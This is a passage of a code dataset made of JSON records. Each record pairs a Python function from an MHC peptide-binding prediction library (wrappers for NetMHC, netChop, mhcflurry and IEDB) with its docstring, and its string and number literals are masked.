line.startswith('<STR_LIT:#>'):<EOL><INDENT>if any(line.startswith(i) for i in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>line = line.split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>requires[key].append(line)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if not any('<STR_LIT>' == re.split('<STR_LIT>', i.lower())[<NUM_LIT:0>] for i in requires['<STR_LIT:test>']):<EOL><INDENT>requires['<STR_LIT:test>'].append('<STR_LIT>') <EOL><DEDENT>console_scripts = []<EOL>for path, dirs, files in os.walk(srcfile('<STR_LIT:src>', package_name)):<EOL><INDENT>dirs = [i for i in dirs if not i.startswith('<STR_LIT:.>')]<EOL>if '<STR_LIT>' in files:<EOL><INDENT>path = path[len(srcfile('<STR_LIT:src>') + os.sep):]<EOL>appname = path.split(os.sep)[-<NUM_LIT:1>]<EOL>with io.open(srcfile('<STR_LIT:src>', path, '<STR_LIT>'), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>for line in handle.readlines():<EOL><INDENT>match = re.match(r\"\"\"<STR_LIT>\"\"\", line)<EOL>if match:<EOL><INDENT>appname = match.group(<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>console_scripts.append('<STR_LIT>'.format(appname, path.replace(os.sep, '<STR_LIT:.>')))<EOL><DEDENT><DEDENT>candidate_files = [<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>]<EOL>data_files = defaultdict(list)<EOL>for filename in candidate_files:<EOL><INDENT>if os.path.exists(srcfile(filename)):<EOL><INDENT>data_files['<STR_LIT>'].append(filename)<EOL><DEDENT><DEDENT>classifiers = []<EOL>for classifiers_txt in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>classifiers_txt = srcfile(classifiers_txt)<EOL>if os.path.exists(classifiers_txt):<EOL><INDENT>with io.open(classifiers_txt, encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>classifiers = [i.strip() for i in handle if i.strip() and not i.startswith('<STR_LIT:#>')]<EOL><DEDENT>break<EOL><DEDENT><DEDENT>entry_points.setdefault('<STR_LIT>', []).extend(console_scripts)<EOL>metadata.update(dict(<EOL>name = name,<EOL>package_dir = {'<STR_LIT>': '<STR_LIT:src>'},<EOL>packages = find_packages(srcfile('<STR_LIT:src>'), exclude=['<STR_LIT>']),<EOL>data_files = data_files.items(),<EOL>zip_safe = False,<EOL>include_package_data = True,<EOL>install_requires = requires['<STR_LIT>'],<EOL>setup_requires = requires['<STR_LIT>'],<EOL>tests_require =  requires['<STR_LIT:test>'],<EOL>classifiers = classifiers,<EOL>cmdclass = dict(<EOL>test = PyTest,<EOL>),<EOL>entry_points = entry_points,<EOL>))<EOL>return metadata<EOL>", "docstring": "Return project's metadata as a dict.", "id": "f921:m1"}
{"signature": "def _prepare_drb_allele_name(self, parsed_beta_allele):", "body": "if \"<STR_LIT>\" not in parsed_beta_allele.gene:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % parsed_beta_allele)<EOL><DEDENT>return \"<STR_LIT>\" % (<EOL>parsed_beta_allele.gene,<EOL>parsed_beta_allele.allele_family,<EOL>parsed_beta_allele.allele_code)<EOL>", "docstring": "Assume that we're dealing with a human DRB allele\nwhich NetMHCIIpan treats differently because there is\nlittle population diversity in the DR-alpha gene", "id": "f924:c0:m1"}
{"signature": "def prepare_allele_name(self, allele_name):", "body": "parsed_alleles = parse_classi_or_classii_allele_name(allele_name)<EOL>if len(parsed_alleles) == <NUM_LIT:1>:<EOL><INDENT>allele = parsed_alleles[<NUM_LIT:0>]<EOL>if allele.species == \"<STR_LIT>\":<EOL><INDENT>return \"<STR_LIT>\" % (<EOL>allele.species,<EOL>allele.gene,<EOL>allele.allele_code)<EOL><DEDENT>return self._prepare_drb_allele_name(allele)<EOL><DEDENT>else:<EOL><INDENT>alpha, beta = parsed_alleles<EOL>if \"<STR_LIT>\" in alpha.gene:<EOL><INDENT>return self._prepare_drb_allele_name(beta)<EOL><DEDENT>return \"<STR_LIT>\" % (<EOL>alpha.gene,<EOL>alpha.allele_family,<EOL>alpha.allele_code,<EOL>beta.gene,<EOL>beta.allele_family,<EOL>beta.allele_code)<EOL><DEDENT>", "docstring": "netMHCIIpan has some unique requirements for allele formats,\nexpecting the following forms:\n - DRB1_0101 (for non-alpha/beta pairs)\n - HLA-DQA10501-DQB10636 (for alpha and beta pairs)\n\nOther than human class II alleles, the only other alleles that\nnetMHCIIpan accepts are the following mouse alleles:\n - H-2-IAb\n - H-2-IAd", "id": "f924:c0:m2"}
{"signature": "def __init__(<EOL>self,<EOL>alleles,<EOL>default_peptide_lengths=[<NUM_LIT:9>],<EOL>predictor=None,<EOL>models_path=None):", "body": "<EOL>from mhcflurry import Class1AffinityPredictor<EOL>BasePredictor.__init__(<EOL>self,<EOL>alleles=alleles,<EOL>default_peptide_lengths=default_peptide_lengths,<EOL>min_peptide_length=<NUM_LIT:8>,<EOL>max_peptide_length=<NUM_LIT:15>)<EOL>if predictor:<EOL><INDENT>self.predictor = predictor<EOL><DEDENT>elif models_path:<EOL><INDENT>logging.info(\"<STR_LIT>\" % models_path)<EOL>self.predictor = Class1AffinityPredictor.load(models_path)<EOL><DEDENT>else:<EOL><INDENT>self.predictor = Class1AffinityPredictor.load()<EOL><DEDENT>for allele in self.alleles:<EOL><INDENT>if allele not in self.predictor.supported_alleles:<EOL><INDENT>raise UnsupportedAllele(allele)<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n-----------\npredictor : mhcflurry.Class1AffinityPredictor (optional)\n    MHCflurry predictor to use\n\nmodels_path : string\n    Models dir to use if predictor argument is None", "id": "f925:c0:m0"}
{"signature": "def predict_peptides(self, peptides):", "body": "<EOL>from mhcflurry.encodable_sequences import EncodableSequences<EOL>binding_predictions = []<EOL>encodable_sequences = EncodableSequences.create(peptides)<EOL>for allele in self.alleles:<EOL><INDENT>predictions_df = self.predictor.predict_to_dataframe(<EOL>encodable_sequences, allele=allele)<EOL>for (_, row) in predictions_df.iterrows():<EOL><INDENT>binding_prediction = BindingPrediction(<EOL>allele=allele,<EOL>peptide=row.peptide,<EOL>affinity=row.prediction,<EOL>percentile_rank=(<EOL>row.prediction_percentile<EOL>if '<STR_LIT>' in row else nan),<EOL>prediction_method_name=\"<STR_LIT>\"<EOL>)<EOL>binding_predictions.append(binding_prediction)<EOL><DEDENT><DEDENT>return BindingPredictionCollection(binding_predictions)<EOL>", "docstring": "Predict MHC affinity for peptides.", "id": "f925:c0:m1"}
{"signature": "def NetMHC(alleles,<EOL>default_peptide_lengths=[<NUM_LIT:9>],<EOL>program_name=\"<STR_LIT>\"):", "body": "<EOL>with open(os.devnull, '<STR_LIT:w>') as devnull:<EOL><INDENT>help_output = check_output([program_name, \"<STR_LIT>\"], stderr=devnull)<EOL><DEDENT>help_output_str = help_output.decode(\"<STR_LIT:ascii>\", \"<STR_LIT:ignore>\")<EOL>substring_to_netmhc_class = {<EOL>\"<STR_LIT>\": NetMHC4,<EOL>\"<STR_LIT>\": NetMHC3,<EOL>}<EOL>successes = []<EOL>for substring, netmhc_class in substring_to_netmhc_class.items():<EOL><INDENT>if substring in help_output_str:<EOL><INDENT>successes.append(netmhc_class)<EOL><DEDENT><DEDENT>if len(successes) > <NUM_LIT:1>:<EOL><INDENT>raise SystemError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % program_name)<EOL><DEDENT>if len(successes) == <NUM_LIT:0>:<EOL><INDENT>raise SystemError(\"<STR_LIT>\"<EOL>% program_name)<EOL><DEDENT>netmhc_class = successes[<NUM_LIT:0>]<EOL>return netmhc_class(<EOL>alleles=alleles,<EOL>default_peptide_lengths=default_peptide_lengths,<EOL>program_name=program_name)<EOL>", "docstring": "This function wraps NetMHC3 and NetMHC4 to automatically detect which class\nto use. Currently based on running the '-h' command and looking for\ndiscriminating substrings between the versions.", "id": "f927:m0"}
{"signature": "def predict(self, sequences):", "body": "with tempfile.NamedTemporaryFile(suffix=\"<STR_LIT>\", mode=\"<STR_LIT:w>\") as input_fd:<EOL><INDENT>for (i, sequence) in enumerate(sequences):<EOL><INDENT>input_fd.write(\"<STR_LIT>\" % i)<EOL>input_fd.write(sequence)<EOL>input_fd.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>input_fd.flush()<EOL>try:<EOL><INDENT>output = subprocess.check_output([\"<STR_LIT>\", input_fd.name])<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>logging.error(\"<STR_LIT>\" % (e, e.output))<EOL>raise<EOL><DEDENT><DEDENT>parsed = self.parse_netchop(output)<EOL>assert len(parsed) == len(sequences),\"<STR_LIT>\" % (<EOL>len(sequences), len(parsed))<EOL>assert [len(x) for x in parsed] == [len(x) for x in sequences]<EOL>return parsed<EOL>", "docstring": "Return netChop predictions for each position in each sequence.\n\nParameters\n-----------\nsequences : list of string\n    Amino acid sequences to predict cleavage for\n\nReturns\n-----------\nlist of list of float\n\nThe i'th list corresponds to the i'th sequence. Each list gives\nthe cleavage probability for each position in the sequence.", "id": "f928:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse_netchop(netchop_output):<DEDENT>", "body": "line_iterator = iter(netchop_output.decode().split(\"<STR_LIT:\\n>\"))<EOL>scores = []<EOL>for line in line_iterator:<EOL><INDENT>if \"<STR_LIT>\" in line and '<STR_LIT>' in line and '<STR_LIT>' in line:<EOL><INDENT>scores.append([])<EOL>if \"<STR_LIT>\" not in next(line_iterator):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>line = next(line_iterator)<EOL>while '<STR_LIT>' not in line:<EOL><INDENT>score = float(line.split()[<NUM_LIT:3>])<EOL>scores[-<NUM_LIT:1>].append(score)<EOL>line = next(line_iterator)<EOL><DEDENT><DEDENT><DEDENT>return scores<EOL>", "docstring": "Parse netChop stdout.", "id": "f928:c0:m1"}
{"signature": "def create_input_peptides_files(<EOL>peptides,<EOL>max_peptides_per_file=None,<EOL>group_by_length=False):", "body": "if group_by_length:<EOL><INDENT>peptide_lengths = {len(p) for p in peptides}<EOL>peptide_groups = {l: [] for l in peptide_lengths}<EOL>for p in peptides:<EOL><INDENT>peptide_groups[len(p)].append(p)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>peptide_groups = {\"<STR_LIT>\": peptides}<EOL><DEDENT>file_names = []<EOL>for key, group in peptide_groups.items():<EOL><INDENT>n_peptides = len(group)<EOL>if not max_peptides_per_file:<EOL><INDENT>max_peptides_per_file = n_peptides<EOL><DEDENT>input_file = None<EOL>for i, p in enumerate(group):<EOL><INDENT>if i % max_peptides_per_file == <NUM_LIT:0>:<EOL><INDENT>if input_file is not None:<EOL><INDENT>file_names.append(input_file.name)<EOL>input_file.close()<EOL><DEDENT>input_file = make_writable_tempfile(<EOL>prefix_number=i // max_peptides_per_file,<EOL>prefix_name=key,<EOL>suffix=\"<STR_LIT>\")<EOL><DEDENT>input_file.write(\"<STR_LIT>\" % p)<EOL><DEDENT>if input_file is not None:<EOL><INDENT>file_names.append(input_file.name)<EOL>input_file.close()<EOL><DEDENT><DEDENT>return file_names<EOL>", "docstring": "Creates one or more files containing one peptide per line,\nreturns names of files.", "id": "f929:m1"}
{"signature": "def __init__(<EOL>self,<EOL>peptide,<EOL>allele,<EOL>affinity,<EOL>percentile_rank,<EOL>source_sequence_name=None,<EOL>offset=<NUM_LIT:0>,<EOL>log_affinity=None,<EOL>prediction_method_name=\"<STR_LIT>\"):", "body": "<EOL>if invalid_affinity(affinity) and np.isfinite(log_affinity):<EOL><INDENT>affinity = <NUM_LIT> ** (-log_affinity + <NUM_LIT:1>)<EOL><DEDENT>if invalid_affinity(affinity):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>affinity,<EOL>peptide,<EOL>allele))<EOL><DEDENT>if invalid_percentile_rank(percentile_rank):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>percentile_rank, peptide, allele))<EOL><DEDENT>self.source_sequence_name = source_sequence_name<EOL>self.offset = offset<EOL>self.allele = allele<EOL>self.peptide = peptide<EOL>self.affinity = affinity<EOL>self.percentile_rank = percentile_rank<EOL>self.prediction_method_name = prediction_method_name<EOL>", "docstring": "Parameters\n----------\npeptide : str\n    Short amino acid sequence\n\nallele : str\n    HLA allele, e.g. HLA-A*02:01\n\naffinity : float\n    Predicted binding affinity\n\npercentile_rank : float\n    Percentile rank of the binding affinity for that allele\n\nsource_sequence_name : str\n    Name of sequence from which peptide was extracted\n\noffset : int\n    Base0 starting position in source sequence that all epitopes were\n    extracted from\n\nlog_affinity : float, optional\n    NetMHC sometimes gives invalid IC50 values but we can still\n    reconstruct the value from its (1.0 - log_50000(IC50)) score.\n\nprediction_method_name : str, optional\n    Name of predictor used to generate this prediction.", "id": "f930:c0:m0"}
{"signature": "def clone_with_updates(self, **kwargs):", "body": "fields_dict = self.to_dict()<EOL>fields_dict.update(kwargs)<EOL>return BindingPrediction(**fields_dict)<EOL>", "docstring": "Returns new BindingPrediction with updated fields", "id": "f930:c0:m2"}
{"signature": "@property<EOL><INDENT>def length(self):<DEDENT>", "body": "return len(self.peptide)<EOL>", "docstring": "Length of peptide, preserved for backwards compatibility", "id": "f930:c0:m4"}
{"signature": "@property<EOL><INDENT>def value(self):<DEDENT>", "body": "return self.affinity<EOL>", "docstring": "Alias for affinity preserved for backwards compatibility", "id": "f930:c0:m5"}
{"signature": "def run_command(args, **kwargs):", "body": "assert len(args) > <NUM_LIT:0><EOL>start_time = time.time()<EOL>process = AsyncProcess(args, **kwargs)<EOL>process.wait()<EOL>elapsed_time = time.time() - start_time<EOL>logger.info(\"<STR_LIT>\", args[<NUM_LIT:0>], elapsed_time)<EOL>", "docstring": "Given a list whose first element is a command name, followed by arguments,\nexecute it and show timing info.", "id": "f931:m0"}
{"signature": "def run_multiple_commands_redirect_stdout(<EOL>multiple_args_dict,<EOL>print_commands=True,<EOL>process_limit=-<NUM_LIT:1>,<EOL>polling_freq=<NUM_LIT:0.5>,<EOL>**kwargs):", "body": "assert len(multiple_args_dict) > <NUM_LIT:0><EOL>assert all(len(args) > <NUM_LIT:0> for args in multiple_args_dict.values())<EOL>assert all(hasattr(f, '<STR_LIT:name>') for f in multiple_args_dict.keys())<EOL>if process_limit < <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\" % cpu_count())<EOL>process_limit = cpu_count()<EOL><DEDENT>start_time = time.time()<EOL>processes = Queue(maxsize=process_limit)<EOL>def add_to_queue(process):<EOL><INDENT>process.start()<EOL>if print_commands:<EOL><INDENT>handler = logging.FileHandler(process.redirect_stdout_file.name)<EOL>handler.setLevel(logging.DEBUG)<EOL>logger.addHandler(handler)<EOL>logger.debug(\"<STR_LIT:U+0020>\".join(process.args))<EOL>logger.removeHandler(handler)<EOL><DEDENT>processes.put(process)<EOL><DEDENT>for f, args in multiple_args_dict.items():<EOL><INDENT>p = AsyncProcess(<EOL>args,<EOL>redirect_stdout_file=f,<EOL>**kwargs)<EOL>if not processes.full():<EOL><INDENT>add_to_queue(p)<EOL><DEDENT>else:<EOL><INDENT>while processes.full():<EOL><INDENT>to_remove = []<EOL>for possibly_done in processes.queue:<EOL><INDENT>if possibly_done.poll() is not None:<EOL><INDENT>possibly_done.wait()<EOL>to_remove.append(possibly_done)<EOL><DEDENT><DEDENT>if to_remove:<EOL><INDENT>for process_to_remove in to_remove:<EOL><INDENT>processes.queue.remove(process_to_remove)<EOL><DEDENT>break<EOL><DEDENT>time.sleep(polling_freq)<EOL><DEDENT>add_to_queue(p)<EOL><DEDENT><DEDENT>while not processes.empty():<EOL><INDENT>processes.get().wait()<EOL><DEDENT>elapsed_time = time.time() - start_time<EOL>logger.info(<EOL>\"<STR_LIT>\",<EOL>len(multiple_args_dict),<EOL>elapsed_time)<EOL>", "docstring": "Run multiple shell commands in parallel, write each of their\nstdout output to files associated with each command.\n\nParameters\n----------\nmultiple_args_dict : dict\n    A dictionary whose keys are files and values are args list.\n    Run each args list as a subprocess and write stdout to the\n    corresponding file.\n\nprint_commands : bool\n    Print shell commands before running them.\n\nprocess_limit : int\n    Limit the number of concurrent processes to this number. 0\n    if there is no limit, -1 to use max number of processors\n\npolling_freq : int\n    Number of seconds between checking for done processes, if\n    we have a process limit", "id": "f931:m1"}
{"signature": "def poll(self):", "body": "if self.process is None:<EOL><INDENT>self.start()<EOL><DEDENT>return self.process.poll()<EOL>", "docstring": "Peeks at whether the process is done or not, without\nwaiting for it. Leaves exception handling and such to wait().", "id": "f931:c0:m2"}
{"signature": "def _parse_iedb_response(response):", "body": "if len(response) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>df = pd.read_csv(io.BytesIO(response), delim_whitespace=True, header=<NUM_LIT:0>)<EOL>assert type(df) == pd.DataFrame<EOL>df = pd.DataFrame(df)<EOL>if len(df) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (response,))<EOL><DEDENT>required_columns = [<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT:start>\",<EOL>\"<STR_LIT:end>\",<EOL>]<EOL>for column in required_columns:<EOL><INDENT>if column not in df.columns:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>column,<EOL>df.ix[<NUM_LIT:0>],<EOL>response))<EOL><DEDENT><DEDENT>df = df.rename(columns={<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>return df<EOL>", "docstring": "Take the binding predictions returned by IEDB's web API\n    and parse them into a DataFrame\n\n    Expect response to look like:\n    allele  seq_num start   end length  peptide ic50   percentile_rank\n    HLA-A*01:01 1   2   10  9   LYNTVATLY   2145.70 3.7\n    HLA-A*01:01 1   5   13  9   TVATLYCVH   2216.49 3.9\n    HLA-A*01:01 1   7   15  9   ATLYCVHQR   2635.42 5.1\n    HLA-A*01:01 1   4   12  9   NTVATLYCV   6829.04 20\n    HLA-A*01:01 1   1   9   9   SLYNTVATL   8032.38 24\n    HLA-A*01:01 1   8   16  9   TLYCVHQRI   8853.90 26\n    HLA-A*01:01 1   3   11  9   YNTVATLYC   9865.62 29\n    HLA-A*01:01 1   6   14  9   VATLYCVHQ   27575.71    58\n    HLA-A*01:01 1   10  18  9   YCVHQRIDV   48929.64    74\n    HLA-A*01:01 1   9   17  9   LYCVHQRID   50000.00    75", "id": "f933:m0"}
{"signature": "def _query_iedb(request_values, url):", "body": "data = urlencode(request_values)<EOL>req = Request(url, data.encode(\"<STR_LIT:ascii>\"))<EOL>response = urlopen(req).read()<EOL>return _parse_iedb_response(response)<EOL>", "docstring": "Call into IEDB's web API for MHC binding prediction using request dictionary\nwith fields:\n    - \"method\"\n    - \"length\"\n    - \"sequence_text\"\n    - \"allele\"\n\nParse the response into a DataFrame.", "id": "f933:m1"}
{"signature": "def predict_subsequences(self, sequence_dict, peptide_lengths=None):", "body": "sequence_dict = check_sequence_dictionary(sequence_dict)<EOL>peptide_lengths = self._check_peptide_lengths(peptide_lengths)<EOL>binding_predictions = []<EOL>expected_peptides = set([])<EOL>normalized_alleles = []<EOL>for key, amino_acid_sequence in sequence_dict.items():<EOL><INDENT>for l in peptide_lengths:<EOL><INDENT>for i in range(len(amino_acid_sequence) - l + <NUM_LIT:1>):<EOL><INDENT>expected_peptides.add(amino_acid_sequence[i:i + l])<EOL><DEDENT><DEDENT>self._check_peptide_inputs(expected_peptides)<EOL>for allele in self.alleles:<EOL><INDENT>allele = normalize_allele_name(allele, omit_dra1=True)<EOL>normalized_alleles.append(allele)<EOL>request = self._get_iedb_request_params(<EOL>amino_acid_sequence, allele)<EOL>logger.info(<EOL>\"<STR_LIT>\",<EOL>self.url,<EOL>request)<EOL>response_df = _query_iedb(request, self.url)<EOL>for _, row in response_df.iterrows():<EOL><INDENT>binding_predictions.append(<EOL>BindingPrediction(<EOL>source_sequence_name=key,<EOL>offset=row['<STR_LIT:start>'] - <NUM_LIT:1>,<EOL>allele=row['<STR_LIT>'],<EOL>peptide=row['<STR_LIT>'],<EOL>affinity=row['<STR_LIT>'],<EOL>percentile_rank=row['<STR_LIT>'],<EOL>prediction_method_name=\"<STR_LIT>\" + self.prediction_method))<EOL><DEDENT><DEDENT><DEDENT>self._check_results(<EOL>binding_predictions,<EOL>alleles=normalized_alleles,<EOL>peptides=expected_peptides)<EOL>return BindingPredictionCollection(binding_predictions)<EOL>", "docstring": "Given a dictionary mapping unique keys to amino acid sequences,\n        run MHC binding predictions on all candidate epitopes extracted from\n        sequences and return a EpitopeCollection.\n\n        Parameters\n        ----------\n        fasta_dictionary : dict or string\n            Mapping of protein identifiers to protein amino acid sequences.\n            If string then converted to dictionary.", "id": "f933:c0:m4"}
{"signature": "def __init__(<EOL>self,<EOL>program_name,<EOL>alleles,<EOL>parse_output_fn,<EOL>supported_alleles_flag,<EOL>input_file_flag,<EOL>length_flag,<EOL>allele_flag,<EOL>peptide_mode_flags=[\"<STR_LIT>\"],<EOL>tempdir_flag=None,<EOL>extra_flags=[],<EOL>max_peptides_per_file=<NUM_LIT:10> ** <NUM_LIT:4>,<EOL>process_limit=-<NUM_LIT:1>,<EOL>default_peptide_lengths=[<NUM_LIT:9>],<EOL>group_peptides_by_length=False,<EOL>min_peptide_length=<NUM_LIT:8>,<EOL>max_peptide_length=None,):", "body": "require_string(program_name, \"<STR_LIT>\")<EOL>self.program_name = program_name<EOL>if supported_alleles_flag is not None:<EOL><INDENT>require_string(supported_alleles_flag, \"<STR_LIT>\")<EOL><DEDENT>self.supported_alleles_flag = supported_alleles_flag<EOL>require_string(input_file_flag, \"<STR_LIT>\")<EOL>self.input_file_flag = input_file_flag<EOL>require_string(length_flag, \"<STR_LIT>\")<EOL>self.length_flag = length_flag<EOL>require_string(allele_flag, \"<STR_LIT>\")<EOL>self.allele_flag = allele_flag<EOL>require_iterable_of(peptide_mode_flags, string_types)<EOL>self.peptide_mode_flags = peptide_mode_flags<EOL>if tempdir_flag is not None:<EOL><INDENT>require_string(tempdir_flag, \"<STR_LIT>\")<EOL><DEDENT>self.tempdir_flag = tempdir_flag<EOL>require_iterable_of(extra_flags, string_types)<EOL>self.extra_flags = extra_flags<EOL>require_integer(<EOL>max_peptides_per_file,<EOL>\"<STR_LIT>\")<EOL>self.max_peptides_per_file = max_peptides_per_file<EOL>require_integer(process_limit, \"<STR_LIT>\")<EOL>self.process_limit = process_limit<EOL>self.parse_output_fn = parse_output_fn<EOL>if isinstance(default_peptide_lengths, int):<EOL><INDENT>default_peptide_lengths = [default_peptide_lengths]<EOL><DEDENT>self.group_peptides_by_length = group_peptides_by_length<EOL>if self.supported_alleles_flag:<EOL><INDENT>valid_alleles = self._determine_supported_alleles(<EOL>self.program_name,<EOL>self.supported_alleles_flag)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>run_command([self.program_name])<EOL><DEDENT>except:<EOL><INDENT>raise SystemError(\"<STR_LIT>\" % self.program_name)<EOL><DEDENT>valid_alleles = None<EOL><DEDENT>try:<EOL><INDENT>BasePredictor.__init__(<EOL>self,<EOL>alleles=alleles,<EOL>valid_alleles=valid_alleles,<EOL>default_peptide_lengths=default_peptide_lengths,<EOL>min_peptide_length=min_peptide_length,<EOL>max_peptide_length=max_peptide_length)<EOL><DEDENT>except UnsupportedAllele as e:<EOL><INDENT>if self.supported_alleles_flag:<EOL><INDENT>additional_message = (<EOL>\"<STR_LIT>\" % (<EOL>self.program_name,<EOL>self.supported_alleles_flag))<EOL><DEDENT>else:<EOL><INDENT>additional_message = \"<STR_LIT>\"<EOL><DEDENT>raise UnsupportedAllele(str(e) + additional_message)<EOL><DEDENT>", "docstring": "Parameters\n----------\nprogram_name : str\n    Name of prediction program to run\n    (e.g. \"netMHCcons\" or \"netMHCIIpan\")\n\nalleles : list of str\n    MHC alleles\n\nsupported_alleles_flag : str\n    Flag to pass to the predictor to get a list of supported alleles\n    (e.g. \"-A\", \"-list\", \"-listMHC\")\n\nparse_output_fn : fn\n    Takes the stdout string from the predictor and returns a collection\n    of BindingPrediction objects\n\ninput_file_flag : str\n    How to specify the input FASTA file of source sequences (e.g. \"-f\")\n\nlength_flag : str\n    How to specify the desired predicted peptide length (e.g. \"-length\")\n\nallele_flag : str\n    How to specify the allele we want predictions for (e.g. \"-a\")\n\npeptide_mode_flags : list of str\n    How to switch from the default FASTA subsequences input mode to\n    where peptides are explicitly given one per line of a text file.\n\ntempdir_flag : str, optional\n    How to specify the predictor's temporary directory (e.g. \"-tdir\")\n\nextra_flags : list of str\n    Extra flags to pass to the predictor\n\nmax_peptides_per_file : int, optional\n    Maximum number of lines per file when predicting peptides directly.\n\nprocess_limit : int, optional\n    Maximum number of parallel processes to start\n    (0 for no limit, -1 for use all available processors)\n\ndefault_peptide_lengths : list of int, optional\n    When making predictions across subsequences of protein sequences,\n    what peptide lengths to predict for.\n\ngroup_peptides_by_length : bool\n    Run commandline predictor on groups of peptides of equal length\n\nmin_peptide_length : int\n    Shortest peptide this predictor can handle\n\nmax_peptide_length : int\n    Longest peptide this predictor can handle", "id": "f934:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _determine_supported_alleles(command, supported_allele_flag):<DEDENT>", "body": "try:<EOL><INDENT>supported_alleles_output = check_output([<EOL>command, supported_allele_flag<EOL>])<EOL>supported_alleles_str = supported_alleles_output.decode(\"<STR_LIT:ascii>\", \"<STR_LIT:ignore>\")<EOL>assert len(supported_alleles_str) > <NUM_LIT:0>,'<STR_LIT>' % command<EOL>supported_alleles = set([])<EOL>for line in supported_alleles_str.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>line = line.strip()<EOL>if not line.startswith('<STR_LIT:#>') and len(line) > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>supported_alleles.add(normalize_allele_name(line))<EOL><DEDENT>except AlleleParseError as error:<EOL><INDENT>logger.info(\"<STR_LIT>\", line, error)<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>if len(supported_alleles) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return supported_alleles<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL>raise SystemError(\"<STR_LIT>\" % (<EOL>command,<EOL>supported_allele_flag))<EOL><DEDENT>", "docstring": "Try asking the commandline predictor (e.g. netMHCpan)\nwhich alleles it supports.", "id": "f934:c0:m1"}
{"signature": "def prepare_allele_name(self, allele_name):", "body": "return allele_name.replace(\"<STR_LIT:*>\", \"<STR_LIT>\")<EOL>", "docstring": "How does the predictor expect to see allele names?", "id": "f934:c0:m2"}
{"signature": "def __init__(<EOL>self,<EOL>alleles,<EOL>valid_alleles=None,<EOL>default_peptide_lengths=None,<EOL>min_peptide_length=<NUM_LIT:8>,<EOL>max_peptide_length=None,<EOL>allow_X_in_peptides=False,<EOL>allow_lowercase_in_peptides=False):", "body": "<EOL>if isinstance(alleles, string_types):<EOL><INDENT>alleles = alleles.split('<STR_LIT:U+002C>')<EOL><DEDENT>self.alleles = self._check_hla_alleles(alleles, valid_alleles)<EOL>if isinstance(default_peptide_lengths, int):<EOL><INDENT>default_peptide_lengths = [default_peptide_lengths]<EOL><DEDENT>require_iterable_of(default_peptide_lengths, int)<EOL>self.default_peptide_lengths = default_peptide_lengths<EOL>self.min_peptide_length = min_peptide_length<EOL>self.max_peptide_length = max_peptide_length<EOL>self.allow_X_in_peptides = allow_X_in_peptides<EOL>self.allow_lowercase_in_peptides = allow_lowercase_in_peptides<EOL>", "docstring": "Parameters\n----------\nalleles : list\n    List of strings containing names of HLA alleles we're\n    making predictions for. Example:\n        [\"HLA-A*02:01\", \"HLA-B*07:02\"]\n\nvalid_alleles : list, optional\n    If given, constrain HLA alleles to be contained within\n    this set.\n\ndefault_peptide_lengths : list of int, optional\n    When making predictions across subsequences of protein sequences,\n    what peptide lengths to predict for.\n\nmin_peptide_length : int\n    Shortest peptide this predictor can handle\n\nmax_peptide_length : int\n    Longest peptide this predictor can handle\n\nallow_X_in_peptides : bool\n    Allow unknown amino acids in peptide sequences\n\nallow_lowercase_in_peptides : bool\n    Allow lowercase letters in peptide sequences", "id": "f935:c0:m0"}
{"signature": "def predict_peptides(self, peptides):", "body": "raise NotImplementedError(\"<STR_LIT>\" % (<EOL>self.__class__.__name__))<EOL>", "docstring": "Given a list of peptide sequences, returns a BindingPredictionCollection", "id": "f935:c0:m3"}
